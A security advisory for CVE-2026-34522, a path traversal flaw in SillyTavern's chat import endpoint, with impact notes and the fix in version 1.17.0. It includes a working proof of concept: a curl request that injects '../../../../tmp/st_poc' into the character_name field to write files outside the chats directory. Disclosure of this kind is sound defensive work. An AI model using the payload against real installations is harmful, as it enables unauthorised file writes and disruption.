CVE-2026-34522
Summary
A path traversal vulnerability in /api/chats/import allows an authenticated attacker to write attacker-controlled files outside the intended chats directory by injecting traversal sequences into character_name.
Details
character_name is used unsafely as part of the destination filename and then passed into path.join(...) without sanitization.
Evidence:
- Import handler entrypoint:
- Unsanitized
character_nameused in output filename:
- Same write pattern in JSONL import branch:
- Endpoint auth context (authenticated user access):
Example payload:
charactername=../../../../tmp/stpoc
This causes the final destination path to escape from <user>/chats/<avatar>/... and write to an attacker-controlled location such as /tmp/... (or any writable path for the service account).
PoC
Prerequisites:
- Valid authenticated session cookie (
cookie.txt) - Valid CSRF token (
$TOKEN)
Prepare payload:
printf '{"user_name":"u","chat_metadata":{}}\n{"name":"u","mes":"owned"}\n' >/tmp/poc.jsonlTrigger arbitrary write:
curl -b cookie.txt -H "x-csrf-token: $TOKEN" \
-F "avatar=@/tmp/poc.jsonl" \
-F "file_type=jsonl" \
-F "avatar_url=a.png" \
-F "character_name=../../../../tmp/st_poc" \
-F "user_name=u" \
http://TARGET:8000/api/chats/importObserved result:
- A file is created outside chats directory, for example:
/tmp/st_poc - <timestamp> imported.jsonl
Impact
- Integrity: attacker can create files in unintended filesystem locations.
- Availability: can be used for disk abuse and disruptive file placement.
- Can become more severe when chained with other local processing behaviors.
Resolution
The issue was addressed in version 1.17.0
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-xvww-xhx6-22pf, https://nvd.nist.gov/vuln/detail/CVE-2026-34522, https://github.com/SillyTavern/SillyTavern, https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0
